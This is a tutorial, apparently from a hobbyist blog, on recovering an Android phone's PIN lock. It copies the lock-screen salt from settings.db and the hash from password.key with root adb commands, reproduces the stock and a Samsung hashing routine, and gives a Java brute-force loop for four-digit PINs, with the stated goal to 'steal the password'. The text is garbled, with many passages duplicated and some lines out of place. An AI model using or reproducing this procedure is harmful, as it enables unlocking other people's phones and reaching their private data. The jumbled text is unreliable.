Hi, this time we will do a really funny stuff, we will try to guess an android device's PIN lock password.
First of all, I have to mention that what I am going to do is just for fun ;)
Also, I don't know if this will work for all devices.
You will need :
adb start-server
First of all, I have to mention that what I am going to do is just for fun ;)
Also, I don't know if this will work for all devices.
You will need :
- A rooted android device.
- A machine
- A cable for the device (you will never need it if you read this :D )
GOAL : we need to steal the password from the phone
Q : Now, where do I find the pass ?
R : Sure it will be stored anywhere.
Q : And Do Android store it in plain text :D ?
R : Mr Android in not a noob :p, no he stores a hash obtained from the pass AND some SALT :D
Q : So where do I find the salt ? where do I find the hash ? How can I know the algorithm ???
R : read next ...
Finding the salt:
The salt is a sequence on characters generated randomly that are added to the password just before hashing it, it prevents the dictionary attack on that hash.
The android system stores it salt in a SQLite database "Settings.db" that we can find it under the directory : /data/data/com.android.providers.settings/databases
So connect your phone to your machine, pick up a terminal and type :
adb start-server
adb shell
su
cd /data/data/com.android.providers.settings/databases
cp settings.db /sdcard/settings.db
exit
exit
adb pull /sdcard/settings.db c:\settings.db
We have moved the database to the sdcard (to have permissions to pull it next ;) ), and downloaded it under c:\settings.db
Now you download any SQLite viewer on the net and open the file ( for more fun a have used an extension of firefox called SQLite Manager )
So, open it and search for lockscreen.password_salt column in security table, THIS IS THE SALT !
Note that this can be done by viewing directly the file dump with a hexa editor ( because SQLite stores data in plain text ;) ):
Just search for lockscreen.password_salt
adb shell
73D9B41E141B4964175BBA3EB9FB43205A00B0AB
if (password == null) {
return null;
}
String algo = null;
byte[] hashed = null;
try {
byte[] saltedPassword = (password + getSalt()).getBytes();
byte[] sha1 = MessageDigest.getInstance(algo = "SHA-1").digest(saltedPassword);
byte[] md5 = MessageDigest.getInstance(algo = "MD5").digest(saltedPassword);
hashed = (toHex(sha1) + toHex(md5)).getBytes();
} catch (NoSuchAlgorithmException e) {
Log.w(TAG, "Failed to encode string because of missing algorithm: " + algo);
}
return hashed;
}
The pass is concatenated with the salt and hashed two times, one with SHA-1, another time with MD5.
See the saveLockPassword method in the same file, it uses the passwordToHash just before storing it to the file "password.key"
ATTENTION : look carefully at the getSalt() method it does not return the salt as it is loaded, it is loaded as a Long and after that it is been converted to a String ;) see at line :
return Long.toHexString(salt);
So on your bruteforce, you should not forget that, in my case I used Java so I wrote it as follow
String salt = Long.toHexString(2350245294718450979L);
NOTE : the toHex() function is also in the source file (LockPatternUtils.java), use it!
NOW, we have all in hands, the salt, the hash and the algorithm, we just have to program a bruteforcer to find the password (define a password length and go )
Now you download any SQLite viewer on the net and open the file ( for more fun a have used an extension of firefox called SQLite Manager )
So, open it and search for lockscreen.password_salt column in security table, THIS IS THE SALT !
Just search for lockscreen.password_salt
Finding the hash :
The hash is stored in the file /data/system/password.key.
Now like we did to get the settings.db we will do to get the password.key in our machine so type :
adb shell
su
cd /data/system/password.key
cp password.key /sdcard/password.key
exit
exit
adb pull /sdcard/password.key c:\password.key
Open the file downloaded, you will find a hash, in my case i found this (yes it is the truth, if you can believe it xD ) :
Now, we have the file containing the password's hash :D
Finding the algorithm:
Now we just have to know how Mr. Android do hash the pass and stores it to the password.key file, once done we will just have to bruteforce ;)
Wait ! I think I have heard that Android is OPEN SOURCE !
So back to Android's source ;)
After a nice time searching for a meaningful thing, I have found this interesting Java class it is named LockPatternUtils.java .
Scanning out this file you can easily find that you were searching for the method passwordToHash.
public byte[] passwordToHash(String password) {if (password == null) {
return null;
}
String algo = null;
byte[] hashed = null;
try {
byte[] saltedPassword = (password + getSalt()).getBytes();
byte[] sha1 = MessageDigest.getInstance(algo = "SHA-1").digest(saltedPassword);
byte[] md5 = MessageDigest.getInstance(algo = "MD5").digest(saltedPassword);
hashed = (toHex(sha1) + toHex(md5)).getBytes();
} catch (NoSuchAlgorithmException e) {
Log.w(TAG, "Failed to encode string because of missing algorithm: " + algo);
}
return hashed;
}
The pass is concatenated with the salt and hashed two times, one with SHA-1, another time with MD5.
See the saveLockPassword method in the same file, it uses the passwordToHash just before storing it to the file "password.key"
ATTENTION : look carefully at the getSalt() method it does not return the salt as it is loaded, it is loaded as a Long and after that it is been converted to a String ;) see at line :
return Long.toHexString(salt);
So on your bruteforce, you should not forget that, in my case I used Java so I wrote it as follow
String salt = Long.toHexString(2350245294718450979L);
NOTE : the toHex() function is also in the source file (LockPatternUtils.java), use it!
NOW, we have all in hands, the salt, the hash and the algorithm, we just have to program a bruteforcer to find the password (define a password length and go )
BUT !!
This works fine for every untouched Android, but, for example, for SAMSUNG phones in which are installed a custom roms, I think that this will be more complicated.
I have a samsung in hands, this mean I have to crack it :D
Let us see what is going on with it, first of all, we notice that the hash that I extracted from the password.key file looks like a SHA-1 hash (not a combination for a SHA-1 and md5 like in the source file) and this means that the phone (Samsung ?) uses another algorithm to store passwords
Go to the /system/framework directory and you will find a file named framework2.odex
This file contains the overridden implementation of the hashing algorithm used by the phone, We should REVERSE it ;)
I didn't reversed it but I was lucky to find it done somewhere in the net, so this is the new algorithm :
public byte[] passwordToHash(String paramString)
{
if (paramString == null)
return null;
String str = null;
byte[] arrayOfByte1 = null;
try
{
byte[] arrayOfByte2 = (paramString + getSalt()).getBytes();
byte[] arrayOfByte3 = null;
str = "SHA-1";
MessageDigest localMessageDigest = MessageDigest.getInstance(str);
long l1 = System.currentTimeMillis();
for (int i = 0; i < 1024; i++)
{
arrayOfByte1 = null;
if (arrayOfByte3 != null)
localMessageDigest.update(arrayOfByte3);
localMessageDigest.update(("" + i).getBytes());
localMessageDigest.update(arrayOfByte2);
arrayOfByte3 = localMessageDigest.digest();
}
arrayOfByte1 = toHex(arrayOfByte3).getBytes();
long l2 = System.currentTimeMillis();
Log.w("LockPatternUtils", "passwordToHash time = " + (l2 - l1) + "ms");
return arrayOfByte1;
}
catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
{
Log.w("LockPatternUtils", "Failed to encode string because of missing algorithm: " + str);
}
return arrayOfByte1;
}
We found that the phone do 1024 iterations of different SHA-1 hashes combinations to obtain the final hash, NICE !! :D
public byte[] passwordToHash(String paramString)
{
if (paramString == null)
return null;
String str = null;
byte[] arrayOfByte1 = null;
try
{
byte[] arrayOfByte2 = (paramString + getSalt()).getBytes();
byte[] arrayOfByte3 = null;
str = "SHA-1";
MessageDigest localMessageDigest = MessageDigest.getInstance(str);
long l1 = System.currentTimeMillis();
for (int i = 0; i < 1024; i++)
{
arrayOfByte1 = null;
if (arrayOfByte3 != null)
localMessageDigest.update(arrayOfByte3);
localMessageDigest.update(("" + i).getBytes());
localMessageDigest.update(arrayOfByte2);
arrayOfByte3 = localMessageDigest.digest();
}
arrayOfByte1 = toHex(arrayOfByte3).getBytes();
long l2 = System.currentTimeMillis();
Log.w("LockPatternUtils", "passwordToHash time = " + (l2 - l1) + "ms");
return arrayOfByte1;
}
catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
{
Log.w("LockPatternUtils", "Failed to encode string because of missing algorithm: " + str);
}
return arrayOfByte1;
}
We found that the phone do 1024 iterations of different SHA-1 hashes combinations to obtain the final hash, NICE !! :D
All we have to do now is to replace the method passwordToHash by this new one and ... bruteforce it !
In my case, I will search fr 4 digits numbers, this is the main loop :
for (int i = 0; i < 9999; i++) {
System.out.println("Testing:"+i);
String hash = new String(passwordToHash(""+i));
if (hash.equals("73D9B41E141B4964175BBA3EB9FB43205A00B0AB")) {
System.out.println("Found:"+i);
System.exit(0);
}
}
In my case, I will search fr 4 digits numbers, this is the main loop :
for (int i = 0; i < 9999; i++) {
System.out.println("Testing:"+i);
String hash = new String(passwordToHash(""+i));
if (hash.equals("73D9B41E141B4964175BBA3EB9FB43205A00B0AB")) {
System.out.println("Found:"+i);
System.exit(0);
}
}